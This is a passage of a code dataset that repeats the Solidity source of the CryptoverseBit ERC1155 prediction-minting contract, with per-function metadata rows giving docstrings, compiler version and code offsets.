return _numDecimals;
}
/**
* Sets uri base.
*
* @param uriBase uri base
*/
function setUriBase(string memory uriBase) public onlyOwner {
_setURI(uriBase);
}
/**
* Return uri.
*
* @param tokenId token id
* @return token url
*/
function uri(uint256 tokenId) public override view returns (string memory) {
return strConcat(
super.uri(tokenId),
Strings.toString(tokenId)
);
}
/**
* Sets series limit.
*
* @param series series name
* @param limit limit of the tokens that can be under this series
* @param mintPrice price to mint the token
*/
function setSeries(string memory series, uint256 limit, uint256 mintPrice) public onlyOwner {
require(bytes(series).length > bytes("").length, "series cannot be empty string");
_seriesLimits[series] = limit;
_seriesMintPrices[series] = mintPrice;
emit SeriesSet(msg.sender, series, limit, mintPrice);
}
/**
* Returns the series limit.
*
* @param series series name
* @return series limit
*/
function seriesLimit(string memory series) public view returns (uint256) {
return _seriesLimits[series];
}
/**
* Returns the series mint prices.
*
* @param series series name
* @return series mint price
*/
function seriesMintPrice(string memory series) public view returns (uint256) {
return _seriesMintPrices[series];
}
/**
* Returns the number of mints for series.
*
* @param series series name
* @return number of mints already done withing the series
*/
function seriesMints(string memory series) public view returns (uint256) {
return _seriesMints[series];
}
/**
* Mints the token with predictions. This method will produce the logs so the user can find out the tokenId once transaction is written to the chain.
*
* @param series series name
* @param nickname space for user to put the identifier
* @param predict_1 prediction 1
* @param predict_2 prediction 2
* @param predict_3 prediction 3
* @param predict_4 prediction 4
* @param predict_5 prediction 5
* @param predict_6 prediction 6
*
*/
function mint(string memory series, string memory nickname, uint64 predict_1, uint64 predict_2, uint64 predict_3, uint64 predict_4, uint64 predict_5, uint64 predict_6)
public payable
{
require(_seriesMints[series] < _seriesLimits[series], "Series limit has been reached");
require(msg.value == _seriesMintPrices[series], "ETH value does not match the series mint price");
bytes memory b = new bytes(0);
_mint(msg.sender, _numTokens, 1, b);
uint64 luck = generateLuckyNum(_numTokens, _numDecimals);
uint256 seriesNumber = _seriesMints[series] + 1;
_predictions[_numTokens] = Prediction(block.timestamp, series, seriesNumber, nickname, luck, predict_1, predict_2, predict_3, predict_4, predict_5, predict_6);
emit PredictionMinted(msg.sender, _numTokens, series, seriesNumber, nickname, luck, predict_1, predict_2, predict_3, predict_4, predict_5, predict_6);
_numTokens = _numTokens + 1;
_seriesMints[series] = seriesNumber;
}
/**
*
* Sets the result for the given token.
*
* @param tokenId token id
* @param result_0 the actual value at the time of when prediction had been written to the chain
* @param result_1 the actual value to the prediction_1
* @param result_2 the actual value to the prediction_2
* @param result_3 the actual value to the prediction_3
* @param result_4 the actual value to the prediction_4
* @param result_5 the actual value to the prediction_5
* @param result_6 the actual value to the prediction_6
*/
function setResult(uint256 tokenId, uint64 result_0, uint64 result_1, uint64 result_2, uint64 result_3, uint64 result_4, uint64 result_5, uint64 result_6)
public onlyOwner
{
require(bytes(_predictions[tokenId].series).length > bytes("").length, "prediction must be minted before result can be set");
_results[tokenId] = Result(result_0, result_1, result_2, result_3, result_4, result_5, result_6);
emit ResultSet(msg.sender, tokenId, _predictions[tokenId].series, result_0, result_1, result_2, result_3, result_4, result_5, result_6);
}
/**
* Returns the prediction data under the specified token.
*
* @param tokenId token id
* @return prediction data for the given token
*/
function prediction(uint256 tokenId) public view returns (Prediction memory) {
return _predictions[tokenId];
}
/**
* Returns the result data under the specified token.
*
* @param tokenId token id
* @return result data for the given token
*/
function result(uint256 tokenId) public view returns (ScoredResult memory) {
uint64 score_1 = calculateScore(_predictions[tokenId].predict_1, _results[tokenId].result_1, _numDecimals);
uint64 score_2 = calculateScore(_predictions[tokenId].predict_2, _results[tokenId].result_2, _numDecimals);
uint64 score_3 = calculateScore(_predictions[tokenId].predict_3, _results[tokenId].result_3, _numDecimals);
uint64 score_4 = calculateScore(_predictions[tokenId].predict_4, _results[tokenId].result_4, _numDecimals);
uint64 score_5 = calculateScore(_predictions[tokenId].predict_5, _results[tokenId].result_5, _numDecimals);
uint64 score_6 = calculateScore(_predictions[tokenId].predict_6, _results[tokenId].result_6, _numDecimals);
uint64 totalScore = calculateTotalScore(score_1, score_2, score_3, score_4, score_5, score_6);
return ScoredResult(totalScore, _results[tokenId].result_0,
_results[tokenId].result_1, score_1,
_results[tokenId].result_2, score_2,
_results[tokenId].result_3, score_3,
_results[tokenId].result_4, score_4,
_results[tokenId].result_5, score_5,
_results[tokenId].result_6, score_6);
}
/**
* Returns balance of this contract.
*
* @return contract balance
*/
function balance() public view returns (uint256) {
return address(this).balance;
}
/**
* Withdraws the balance.
*/
function withdraw() public onlyOwner {
payable(msg.sender).transfer(address(this).balance);
}
/**
* Generates lucky number. This is a pseudo random number. This is 0-100% (bounds included), with the given number of decimals.
*
* @param seed seed number
* @param nd number of decimal points to work with
* @return generated number
*/
function generateLuckyNum(uint256 seed, uint8 nd) internal pure returns (uint64) {
uint256 fact = (100 * (10**nd)) + 1;
uint256 kc = uint256(keccak256(abi.encodePacked(seed)));
uint256 rn = kc % fact;
return uint64(rn);
}
/**
* Calculates score from prediction and results.
*
* @param pred preduction
* @param res the actual value
* @param nd number of decimal points
* @return calculated score as 0-100% witgh decimals
*/
function calculateScore(uint64 pred, uint64 res, uint8 nd) internal pure returns (uint64) {
if (pred == 0 && res == 0) {
return 0;
}
uint256 fact = 10**nd;
if (pred >= res) {
uint256 p2 = pred;
uint256 r2 = 100 * res * fact;
uint256 r = r2 / p2;
return uint64(r);
}
else {
uint256 p2 = 100 * pred * fact;
uint256 r2 = res;
uint256 r = p2 / r2;
return uint64(r);
}
}
/**
* Calculates total score from the 6 scores.
*
* @param s1 score 1
* @param s2 score 2
* @param s3 score 3
* @param s4 score 4
* @param s5 score 5
* @param s6 score 6
* @return total score as a weigted average
*/
function calculateTotalScore(uint64 s1, uint64 s2, uint64 s3, uint64 s4, uint64 s5, uint64 s6) internal pure returns (uint64) {
uint256 s1a = s1 * 11;
uint256 s2a = s2 * 12;
uint256 s3a = s3 * 13;
uint256 s4a = s4 * 14;
uint256 s5a = s5 * 15;
uint256 s6a = s6 * 16;
uint256 res = (s1a + s2a + s3a + s4a + s5a + s6a) / 81;
return uint64(res);
}
/**
* Concatenates strings.
*
* @param a string a
* @param b string b
* @return concatenateds string
*/
function strConcat(string memory a, string memory b) internal pure returns (string memory) {
bytes memory ba = bytes(a);
bytes memory bb = bytes(b);
string memory ab = new string(ba.length + bb.length);
bytes memory bab = bytes(ab);
uint k = 0;
for (uint i = 0; i < ba.length; i++) bab[k++] = ba[i];
for (uint i = 0; i < bb.length; i++) bab[k++] = bb[i];
return string(bab);
}
} | /**
* @author radek.hecl
* @title Cryptoverse BIT contract.
*/ | NatSpecMultiLine | seriesMints | function seriesMints(string memory series) public view returns (uint256) {
return _seriesMints[series];
}
| /**
* Returns the number of mints for series.
*
* @param series series name
* @return number of mints already done withing the series
*/ | NatSpecMultiLine | v0.8.4+commit.c7e474f2 | {
"func_code_index": [
5116,
5237
]
} | 11,206 |
||
CryptoverseBit | contracts/CryptoverseBit.sol | 0x66733bccdc2ea3019a0683c1e7435a30ccb79549 | Solidity | CryptoverseBit | contract CryptoverseBit is ERC1155, Ownable {
/**
* Emitted when prediction is submitted to the chain.
*/
event PredictionMinted(address indexed player, uint256 tokenId, string series, uint256 seriesNumber, string nickname,
uint64 lucky, uint64 predict_1, uint64 predict_2, uint64 predict_3, uint64 predict_4, uint64 predict_5, uint64 predict_6);
/**
* Emitted when result is submitted to the chain.
*/
event ResultSet(address indexed operator, uint256 tokenId, string series, uint64 result_0, uint64 result_1, uint64 result_2, uint64 result_3, uint64 result_4, uint64 result_5, uint64 result_6);
/**
* Emitted when series is set.
*/
event SeriesSet(address indexed operator, string series, uint256 limit, uint256 mintPrice);
/**
* Prediction structure.
*/
struct Prediction {
uint256 timestamp;
string series;
uint256 seriesNumber;
string nickname;
uint64 lucky;
uint64 predict_1;
uint64 predict_2;
uint64 predict_3;
uint64 predict_4;
uint64 predict_5;
uint64 predict_6;
}
/**
* Result structure.
*/
struct Result {
uint64 result_0;
uint64 result_1;
uint64 result_2;
uint64 result_3;
uint64 result_4;
uint64 result_5;
uint64 result_6;
}
/**
* Result with score structure.
*/
struct ScoredResult {
uint64 totalScore;
uint64 result_0;
uint64 result_1;
uint64 score_1;
uint64 result_2;
uint64 score_2;
uint64 result_3;
uint64 score_3;
uint64 result_4;
uint64 score_4;
uint64 result_5;
uint64 score_5;
uint64 result_6;
uint64 score_6;
}
/**
* Name for contract identification.
*/
string private _name;
/**
* Number of decimals.
*/
uint8 private _numDecimals;
/**
* Total number of tokens minted so far.
*/
uint256 private _numTokens;
/**
* Mapping from token ID to predictions.
*/
mapping(uint256 => Prediction) private _predictions;
/**
* Mapping from token ID to results.
*/
mapping(uint256 => Result) private _results;
/**
* Mapping from series to the maximum amounts that can be minted.
*/
mapping(string => uint256) private _seriesLimits;
/**
* Mapping from series to the mint prices.
*/
mapping(string => uint256) private _seriesMintPrices;
/**
* Mapping from series to the number of so far minted tokens.
*/
mapping(string => uint256) private _seriesMints;
/**
* Creates new instance.
*
* @param name_ contract name
* @param numDecimals_ number of decimals this contract operates with
*/
constructor(string memory name_, uint8 numDecimals_) ERC1155("") {
_name = name_;
_numDecimals = numDecimals_;
}
/**
* Returns the contract name.
*
* @return contract name
*/
function name() public view returns (string memory) {
return _name;
}
/**
* Returns the number of decimal places this contract work with.
*
* @return number of decimal points this contract work with
*/
function numDecimals() public view returns (uint8) {
return _numDecimals;
}
/**
* Sets uri base.
*
* @param uriBase uri base
*/
function setUriBase(string memory uriBase) public onlyOwner {
_setURI(uriBase);
}
/**
* Return uri.
*
* @param tokenId token id
* @return token url
*/
function uri(uint256 tokenId) public override view returns (string memory) {
return strConcat(
super.uri(tokenId),
Strings.toString(tokenId)
);
}
/**
* Sets series limit.
*
* @param series series name
* @param limit limit of the tokens that can be under this series
* @param mintPrice price to mint the token
*/
function setSeries(string memory series, uint256 limit, uint256 mintPrice) public onlyOwner {
require(bytes(series).length > bytes("").length, "series cannot be empty string");
_seriesLimits[series] = limit;
_seriesMintPrices[series] = mintPrice;
emit SeriesSet(msg.sender, series, limit, mintPrice);
}
/**
* Returns the series limit.
*
* @param series series name
* @return series limit
*/
function seriesLimit(string memory series) public view returns (uint256) {
return _seriesLimits[series];
}
/**
* Returns the series mint prices.
*
* @param series series name
* @return series mint price
*/
function seriesMintPrice(string memory series) public view returns (uint256) {
return _seriesMintPrices[series];
}
/**
* Returns the number of mints for series.
*
* @param series series name
* @return number of mints already done withing the series
*/
function seriesMints(string memory series) public view returns (uint256) {
return _seriesMints[series];
}
/**
* Mints the token with predictions. This method will produce the logs so the user can find out the tokenId once transaction is written to the chain.
*
* @param series series name
* @param nickname space for user to put the identifier
* @param predict_1 prediction 1
* @param predict_2 prediction 2
* @param predict_3 prediction 3
* @param predict_4 prediction 4
* @param predict_5 prediction 5
* @param predict_6 prediction 6
*
*/
function mint(string memory series, string memory nickname, uint64 predict_1, uint64 predict_2, uint64 predict_3, uint64 predict_4, uint64 predict_5, uint64 predict_6)
public payable
{
require(_seriesMints[series] < _seriesLimits[series], "Series limit has been reached");
require(msg.value == _seriesMintPrices[series], "ETH value does not match the series mint price");
bytes memory b = new bytes(0);
_mint(msg.sender, _numTokens, 1, b);
uint64 luck = generateLuckyNum(_numTokens, _numDecimals);
uint256 seriesNumber = _seriesMints[series] + 1;
_predictions[_numTokens] = Prediction(block.timestamp, series, seriesNumber, nickname, luck, predict_1, predict_2, predict_3, predict_4, predict_5, predict_6);
emit PredictionMinted(msg.sender, _numTokens, series, seriesNumber, nickname, luck, predict_1, predict_2, predict_3, predict_4, predict_5, predict_6);
_numTokens = _numTokens + 1;
_seriesMints[series] = seriesNumber;
}
/**
*
* Sets the result for the given token.
*
* @param tokenId token id
* @param result_0 the actual value at the time of when prediction had been written to the chain
* @param result_1 the actual value to the prediction_1
* @param result_2 the actual value to the prediction_2
* @param result_3 the actual value to the prediction_3
* @param result_4 the actual value to the prediction_4
* @param result_5 the actual value to the prediction_5
* @param result_6 the actual value to the prediction_6
*/
function setResult(uint256 tokenId, uint64 result_0, uint64 result_1, uint64 result_2, uint64 result_3, uint64 result_4, uint64 result_5, uint64 result_6)
public onlyOwner
{
require(bytes(_predictions[tokenId].series).length > bytes("").length, "prediction must be minted before result can be set");
_results[tokenId] = Result(result_0, result_1, result_2, result_3, result_4, result_5, result_6);
emit ResultSet(msg.sender, tokenId, _predictions[tokenId].series, result_0, result_1, result_2, result_3, result_4, result_5, result_6);
}
/**
* Returns the prediction data under the specified token.
*
* @param tokenId token id
* @return prediction data for the given token
*/
function prediction(uint256 tokenId) public view returns (Prediction memory) {
return _predictions[tokenId];
}
/**
* Returns the result data under the specified token.
*
* @param tokenId token id
* @return result data for the given token
*/
function result(uint256 tokenId) public view returns (ScoredResult memory) {
uint64 score_1 = calculateScore(_predictions[tokenId].predict_1, _results[tokenId].result_1, _numDecimals);
uint64 score_2 = calculateScore(_predictions[tokenId].predict_2, _results[tokenId].result_2, _numDecimals);
uint64 score_3 = calculateScore(_predictions[tokenId].predict_3, _results[tokenId].result_3, _numDecimals);
uint64 score_4 = calculateScore(_predictions[tokenId].predict_4, _results[tokenId].result_4, _numDecimals);
uint64 score_5 = calculateScore(_predictions[tokenId].predict_5, _results[tokenId].result_5, _numDecimals);
uint64 score_6 = calculateScore(_predictions[tokenId].predict_6, _results[tokenId].result_6, _numDecimals);
uint64 totalScore = calculateTotalScore(score_1, score_2, score_3, score_4, score_5, score_6);
return ScoredResult(totalScore, _results[tokenId].result_0,
_results[tokenId].result_1, score_1,
_results[tokenId].result_2, score_2,
_results[tokenId].result_3, score_3,
_results[tokenId].result_4, score_4,
_results[tokenId].result_5, score_5,
_results[tokenId].result_6, score_6);
}
/**
* Returns balance of this contract.
*
* @return contract balance
*/
function balance() public view returns (uint256) {
return address(this).balance;
}
/**
* Withdraws the balance.
*/
function withdraw() public onlyOwner {
payable(msg.sender).transfer(address(this).balance);
}
/**
* Generates lucky number. This is a pseudo random number. This is 0-100% (bounds included), with the given number of decimals.
*
* @param seed seed number
* @param nd number of decimal points to work with
* @return generated number
*/
function generateLuckyNum(uint256 seed, uint8 nd) internal pure returns (uint64) {
uint256 fact = (100 * (10**nd)) + 1;
uint256 kc = uint256(keccak256(abi.encodePacked(seed)));
uint256 rn = kc % fact;
return uint64(rn);
}
/**
* Calculates score from prediction and results.
*
* @param pred preduction
* @param res the actual value
* @param nd number of decimal points
* @return calculated score as 0-100% witgh decimals
*/
function calculateScore(uint64 pred, uint64 res, uint8 nd) internal pure returns (uint64) {
if (pred == 0 && res == 0) {
return 0;
}
uint256 fact = 10**nd;
if (pred >= res) {
uint256 p2 = pred;
uint256 r2 = 100 * res * fact;
uint256 r = r2 / p2;
return uint64(r);
}
else {
uint256 p2 = 100 * pred * fact;
uint256 r2 = res;
uint256 r = p2 / r2;
return uint64(r);
}
}
/**
* Calculates total score from the 6 scores.
*
* @param s1 score 1
* @param s2 score 2
* @param s3 score 3
* @param s4 score 4
* @param s5 score 5
* @param s6 score 6
* @return total score as a weigted average
*/
function calculateTotalScore(uint64 s1, uint64 s2, uint64 s3, uint64 s4, uint64 s5, uint64 s6) internal pure returns (uint64) {
uint256 s1a = s1 * 11;
uint256 s2a = s2 * 12;
uint256 s3a = s3 * 13;
uint256 s4a = s4 * 14;
uint256 s5a = s5 * 15;
uint256 s6a = s6 * 16;
uint256 res = (s1a + s2a + s3a + s4a + s5a + s6a) / 81;
return uint64(res);
}
/**
* Concatenates strings.
*
* @param a string a
* @param b string b
* @return concatenateds string
*/
function strConcat(string memory a, string memory b) internal pure returns (string memory) {
bytes memory ba = bytes(a);
bytes memory bb = bytes(b);
string memory ab = new string(ba.length + bb.length);
bytes memory bab = bytes(ab);
uint k = 0;
for (uint i = 0; i < ba.length; i++) bab[k++] = ba[i];
for (uint i = 0; i < bb.length; i++) bab[k++] = bb[i];
return string(bab);
}
} | /**
* @author radek.hecl
* @title Cryptoverse BIT contract.
*/ | NatSpecMultiLine | mint | function mint(string memory series, string memory nickname, uint64 predict_1, uint64 predict_2, uint64 predict_3, uint64 predict_4, uint64 predict_5, uint64 predict_6)
public payable
require(_seriesMints[series] < _seriesLimits[series], "Series limit has been reached");
require(msg.value == _seriesMintPrices[series], "ETH value does not match the series mint price");
bytes memory b = new bytes(0);
_mint(msg.sender, _numTokens, 1, b);
uint64 luck = generateLuckyNum(_numTokens, _numDecimals);
uint256 seriesNumber = _seriesMints[series] + 1;
_predictions[_numTokens] = Prediction(block.timestamp, series, seriesNumber, nickname, luck, predict_1, predict_2, predict_3, predict_4, predict_5, predict_6);
emit PredictionMinted(msg.sender, _numTokens, series, seriesNumber, nickname, luck, predict_1, predict_2, predict_3, predict_4, predict_5, predict_6);
_numTokens = _numTokens + 1;
_seriesMints[series] = seriesNumber;
| /**
* Mints the token with predictions. This method will produce the logs so the user can find out the tokenId once transaction is written to the chain.
*
* @param series series name
* @param nickname space for user to put the identifier
* @param predict_1 prediction 1
* @param predict_2 prediction 2
* @param predict_3 prediction 3
* @param predict_4 prediction 4
* @param predict_5 prediction 5
* @param predict_6 prediction 6
*
*/ | NatSpecMultiLine | v0.8.4+commit.c7e474f2 | {
"func_code_index": [
5742,
6775
]
} | 11,207 |
||
CryptoverseBit | contracts/CryptoverseBit.sol | 0x66733bccdc2ea3019a0683c1e7435a30ccb79549 | Solidity | CryptoverseBit | contract CryptoverseBit is ERC1155, Ownable {
/**
* Emitted when prediction is submitted to the chain.
*/
event PredictionMinted(address indexed player, uint256 tokenId, string series, uint256 seriesNumber, string nickname,
uint64 lucky, uint64 predict_1, uint64 predict_2, uint64 predict_3, uint64 predict_4, uint64 predict_5, uint64 predict_6);
/**
* Emitted when result is submitted to the chain.
*/
event ResultSet(address indexed operator, uint256 tokenId, string series, uint64 result_0, uint64 result_1, uint64 result_2, uint64 result_3, uint64 result_4, uint64 result_5, uint64 result_6);
/**
* Emitted when series is set.
*/
event SeriesSet(address indexed operator, string series, uint256 limit, uint256 mintPrice);
/**
* Prediction structure.
*/
struct Prediction {
uint256 timestamp;
string series;
uint256 seriesNumber;
string nickname;
uint64 lucky;
uint64 predict_1;
uint64 predict_2;
uint64 predict_3;
uint64 predict_4;
uint64 predict_5;
uint64 predict_6;
}
/**
* Result structure.
*/
struct Result {
uint64 result_0;
uint64 result_1;
uint64 result_2;
uint64 result_3;
uint64 result_4;
uint64 result_5;
uint64 result_6;
}
/**
* Result with score structure.
*/
struct ScoredResult {
uint64 totalScore;
uint64 result_0;
uint64 result_1;
uint64 score_1;
uint64 result_2;
uint64 score_2;
uint64 result_3;
uint64 score_3;
uint64 result_4;
uint64 score_4;
uint64 result_5;
uint64 score_5;
uint64 result_6;
uint64 score_6;
}
/**
* Name for contract identification.
*/
string private _name;
/**
* Number of decimals.
*/
uint8 private _numDecimals;
/**
* Total number of tokens minted so far.
*/
uint256 private _numTokens;
/**
* Mapping from token ID to predictions.
*/
mapping(uint256 => Prediction) private _predictions;
/**
* Mapping from token ID to results.
*/
mapping(uint256 => Result) private _results;
/**
* Mapping from series to the maximum amounts that can be minted.
*/
mapping(string => uint256) private _seriesLimits;
/**
* Mapping from series to the mint prices.
*/
mapping(string => uint256) private _seriesMintPrices;
/**
* Mapping from series to the number of so far minted tokens.
*/
mapping(string => uint256) private _seriesMints;
/**
* Creates new instance.
*
* @param name_ contract name
* @param numDecimals_ number of decimals this contract operates with
*/
constructor(string memory name_, uint8 numDecimals_) ERC1155("") {
_name = name_;
_numDecimals = numDecimals_;
}
/**
* Returns the contract name.
*
* @return contract name
*/
function name() public view returns (string memory) {
return _name;
}
/**
* Returns the number of decimal places this contract work with.
*
* @return number of decimal points this contract work with
*/
function numDecimals() public view returns (uint8) {
return _numDecimals;
}
/**
* Sets uri base.
*
* @param uriBase uri base
*/
function setUriBase(string memory uriBase) public onlyOwner {
_setURI(uriBase);
}
/**
* Return uri.
*
* @param tokenId token id
* @return token url
*/
function uri(uint256 tokenId) public override view returns (string memory) {
return strConcat(
super.uri(tokenId),
Strings.toString(tokenId)
);
}
/**
* Sets series limit.
*
* @param series series name
* @param limit limit of the tokens that can be under this series
* @param mintPrice price to mint the token
*/
function setSeries(string memory series, uint256 limit, uint256 mintPrice) public onlyOwner {
require(bytes(series).length > bytes("").length, "series cannot be empty string");
_seriesLimits[series] = limit;
_seriesMintPrices[series] = mintPrice;
emit SeriesSet(msg.sender, series, limit, mintPrice);
}
/**
* Returns the series limit.
*
* @param series series name
* @return series limit
*/
function seriesLimit(string memory series) public view returns (uint256) {
return _seriesLimits[series];
}
/**
* Returns the series mint prices.
*
* @param series series name
* @return series mint price
*/
function seriesMintPrice(string memory series) public view returns (uint256) {
return _seriesMintPrices[series];
}
/**
* Returns the number of mints for series.
*
* @param series series name
* @return number of mints already done withing the series
*/
function seriesMints(string memory series) public view returns (uint256) {
return _seriesMints[series];
}
/**
* Mints the token with predictions. This method will produce the logs so the user can find out the tokenId once transaction is written to the chain.
*
* @param series series name
* @param nickname space for user to put the identifier
* @param predict_1 prediction 1
* @param predict_2 prediction 2
* @param predict_3 prediction 3
* @param predict_4 prediction 4
* @param predict_5 prediction 5
* @param predict_6 prediction 6
*
*/
function mint(string memory series, string memory nickname, uint64 predict_1, uint64 predict_2, uint64 predict_3, uint64 predict_4, uint64 predict_5, uint64 predict_6)
public payable
{
require(_seriesMints[series] < _seriesLimits[series], "Series limit has been reached");
require(msg.value == _seriesMintPrices[series], "ETH value does not match the series mint price");
bytes memory b = new bytes(0);
_mint(msg.sender, _numTokens, 1, b);
uint64 luck = generateLuckyNum(_numTokens, _numDecimals);
uint256 seriesNumber = _seriesMints[series] + 1;
_predictions[_numTokens] = Prediction(block.timestamp, series, seriesNumber, nickname, luck, predict_1, predict_2, predict_3, predict_4, predict_5, predict_6);
emit PredictionMinted(msg.sender, _numTokens, series, seriesNumber, nickname, luck, predict_1, predict_2, predict_3, predict_4, predict_5, predict_6);
_numTokens = _numTokens + 1;
_seriesMints[series] = seriesNumber;
}
/**
*
* Sets the result for the given token.
*
* @param tokenId token id
* @param result_0 the actual value at the time of when prediction had been written to the chain
* @param result_1 the actual value to the prediction_1
* @param result_2 the actual value to the prediction_2
* @param result_3 the actual value to the prediction_3
* @param result_4 the actual value to the prediction_4
* @param result_5 the actual value to the prediction_5
* @param result_6 the actual value to the prediction_6
*/
function setResult(uint256 tokenId, uint64 result_0, uint64 result_1, uint64 result_2, uint64 result_3, uint64 result_4, uint64 result_5, uint64 result_6)
public onlyOwner
{
require(bytes(_predictions[tokenId].series).length > bytes("").length, "prediction must be minted before result can be set");
_results[tokenId] = Result(result_0, result_1, result_2, result_3, result_4, result_5, result_6);
emit ResultSet(msg.sender, tokenId, _predictions[tokenId].series, result_0, result_1, result_2, result_3, result_4, result_5, result_6);
}
/**
* Returns the prediction data under the specified token.
*
* @param tokenId token id
* @return prediction data for the given token
*/
function prediction(uint256 tokenId) public view returns (Prediction memory) {
return _predictions[tokenId];
}
/**
* Returns the result data under the specified token.
*
* @param tokenId token id
* @return result data for the given token
*/
function result(uint256 tokenId) public view returns (ScoredResult memory) {
uint64 score_1 = calculateScore(_predictions[tokenId].predict_1, _results[tokenId].result_1, _numDecimals);
uint64 score_2 = calculateScore(_predictions[tokenId].predict_2, _results[tokenId].result_2, _numDecimals);
uint64 score_3 = calculateScore(_predictions[tokenId].predict_3, _results[tokenId].result_3, _numDecimals);
uint64 score_4 = calculateScore(_predictions[tokenId].predict_4, _results[tokenId].result_4, _numDecimals);
uint64 score_5 = calculateScore(_predictions[tokenId].predict_5, _results[tokenId].result_5, _numDecimals);
uint64 score_6 = calculateScore(_predictions[tokenId].predict_6, _results[tokenId].result_6, _numDecimals);
uint64 totalScore = calculateTotalScore(score_1, score_2, score_3, score_4, score_5, score_6);
return ScoredResult(totalScore, _results[tokenId].result_0,
_results[tokenId].result_1, score_1,
_results[tokenId].result_2, score_2,
_results[tokenId].result_3, score_3,
_results[tokenId].result_4, score_4,
_results[tokenId].result_5, score_5,
_results[tokenId].result_6, score_6);
}
/**
* Returns balance of this contract.
*
* @return contract balance
*/
function balance() public view returns (uint256) {
return address(this).balance;
}
/**
* Withdraws the balance.
*/
function withdraw() public onlyOwner {
payable(msg.sender).transfer(address(this).balance);
}
/**
* Generates lucky number. This is a pseudo random number. This is 0-100% (bounds included), with the given number of decimals.
*
* @param seed seed number
* @param nd number of decimal points to work with
* @return generated number
*/
function generateLuckyNum(uint256 seed, uint8 nd) internal pure returns (uint64) {
uint256 fact = (100 * (10**nd)) + 1;
uint256 kc = uint256(keccak256(abi.encodePacked(seed)));
uint256 rn = kc % fact;
return uint64(rn);
}
/**
* Calculates score from prediction and results.
*
* @param pred preduction
* @param res the actual value
* @param nd number of decimal points
* @return calculated score as 0-100% witgh decimals
*/
function calculateScore(uint64 pred, uint64 res, uint8 nd) internal pure returns (uint64) {
if (pred == 0 && res == 0) {
return 0;
}
uint256 fact = 10**nd;
if (pred >= res) {
uint256 p2 = pred;
uint256 r2 = 100 * res * fact;
uint256 r = r2 / p2;
return uint64(r);
}
else {
uint256 p2 = 100 * pred * fact;
uint256 r2 = res;
uint256 r = p2 / r2;
return uint64(r);
}
}
/**
* Calculates total score from the 6 scores.
*
* @param s1 score 1
* @param s2 score 2
* @param s3 score 3
* @param s4 score 4
* @param s5 score 5
* @param s6 score 6
* @return total score as a weigted average
*/
function calculateTotalScore(uint64 s1, uint64 s2, uint64 s3, uint64 s4, uint64 s5, uint64 s6) internal pure returns (uint64) {
uint256 s1a = s1 * 11;
uint256 s2a = s2 * 12;
uint256 s3a = s3 * 13;
uint256 s4a = s4 * 14;
uint256 s5a = s5 * 15;
uint256 s6a = s6 * 16;
uint256 res = (s1a + s2a + s3a + s4a + s5a + s6a) / 81;
return uint64(res);
}
/**
* Concatenates strings.
*
* @param a string a
* @param b string b
* @return concatenateds string
*/
function strConcat(string memory a, string memory b) internal pure returns (string memory) {
bytes memory ba = bytes(a);
bytes memory bb = bytes(b);
string memory ab = new string(ba.length + bb.length);
bytes memory bab = bytes(ab);
uint k = 0;
for (uint i = 0; i < ba.length; i++) bab[k++] = ba[i];
for (uint i = 0; i < bb.length; i++) bab[k++] = bb[i];
return string(bab);
}
} | /**
* @author radek.hecl
* @title Cryptoverse BIT contract.
*/ | NatSpecMultiLine | setResult | function setResult(uint256 tokenId, uint64 result_0, uint64 result_1, uint64 result_2, uint64 result_3, uint64 result_4, uint64 result_5, uint64 result_6)
public onlyOwner
require(bytes(_predictions[tokenId].series).length > bytes("").length, "prediction must be minted before result can be set");
_results[tokenId] = Result(result_0, result_1, result_2, result_3, result_4, result_5, result_6);
emit ResultSet(msg.sender, tokenId, _predictions[tokenId].series, result_0, result_1, result_2, result_3, result_4, result_5, result_6);
| /**
*
* Sets the result for the given token.
*
* @param tokenId token id
* @param result_0 the actual value at the time of when prediction had been written to the chain
* @param result_1 the actual value to the prediction_1
* @param result_2 the actual value to the prediction_2
* @param result_3 the actual value to the prediction_3
* @param result_4 the actual value to the prediction_4
* @param result_5 the actual value to the prediction_5
* @param result_6 the actual value to the prediction_6
*/ | NatSpecMultiLine | v0.8.4+commit.c7e474f2 | {
"func_code_index": [
7347,
7928
]
} | 11,208 |
||
CryptoverseBit | contracts/CryptoverseBit.sol | 0x66733bccdc2ea3019a0683c1e7435a30ccb79549 | Solidity | CryptoverseBit | contract CryptoverseBit is ERC1155, Ownable {
/**
* Emitted when prediction is submitted to the chain.
*/
event PredictionMinted(address indexed player, uint256 tokenId, string series, uint256 seriesNumber, string nickname,
uint64 lucky, uint64 predict_1, uint64 predict_2, uint64 predict_3, uint64 predict_4, uint64 predict_5, uint64 predict_6);
/**
* Emitted when result is submitted to the chain.
*/
event ResultSet(address indexed operator, uint256 tokenId, string series, uint64 result_0, uint64 result_1, uint64 result_2, uint64 result_3, uint64 result_4, uint64 result_5, uint64 result_6);
/**
* Emitted when series is set.
*/
event SeriesSet(address indexed operator, string series, uint256 limit, uint256 mintPrice);
/**
* Prediction structure.
*/
struct Prediction {
uint256 timestamp;
string series;
uint256 seriesNumber;
string nickname;
uint64 lucky;
uint64 predict_1;
uint64 predict_2;
uint64 predict_3;
uint64 predict_4;
uint64 predict_5;
uint64 predict_6;
}
/**
* Result structure.
*/
struct Result {
uint64 result_0;
uint64 result_1;
uint64 result_2;
uint64 result_3;
uint64 result_4;
uint64 result_5;
uint64 result_6;
}
/**
* Result with score structure.
*/
struct ScoredResult {
uint64 totalScore;
uint64 result_0;
uint64 result_1;
uint64 score_1;
uint64 result_2;
uint64 score_2;
uint64 result_3;
uint64 score_3;
uint64 result_4;
uint64 score_4;
uint64 result_5;
uint64 score_5;
uint64 result_6;
uint64 score_6;
}
/**
* Name for contract identification.
*/
string private _name;
/**
* Number of decimals.
*/
uint8 private _numDecimals;
/**
* Total number of tokens minted so far.
*/
uint256 private _numTokens;
/**
* Mapping from token ID to predictions.
*/
mapping(uint256 => Prediction) private _predictions;
/**
* Mapping from token ID to results.
*/
mapping(uint256 => Result) private _results;
/**
* Mapping from series to the maximum amounts that can be minted.
*/
mapping(string => uint256) private _seriesLimits;
/**
* Mapping from series to the mint prices.
*/
mapping(string => uint256) private _seriesMintPrices;
/**
* Mapping from series to the number of so far minted tokens.
*/
mapping(string => uint256) private _seriesMints;
/**
* Creates new instance.
*
* @param name_ contract name
* @param numDecimals_ number of decimals this contract operates with
*/
constructor(string memory name_, uint8 numDecimals_) ERC1155("") {
_name = name_;
_numDecimals = numDecimals_;
}
/**
* Returns the contract name.
*
* @return contract name
*/
function name() public view returns (string memory) {
return _name;
}
/**
* Returns the number of decimal places this contract work with.
*
* @return number of decimal points this contract work with
*/
function numDecimals() public view returns (uint8) {
return _numDecimals;
}
/**
* Sets uri base.
*
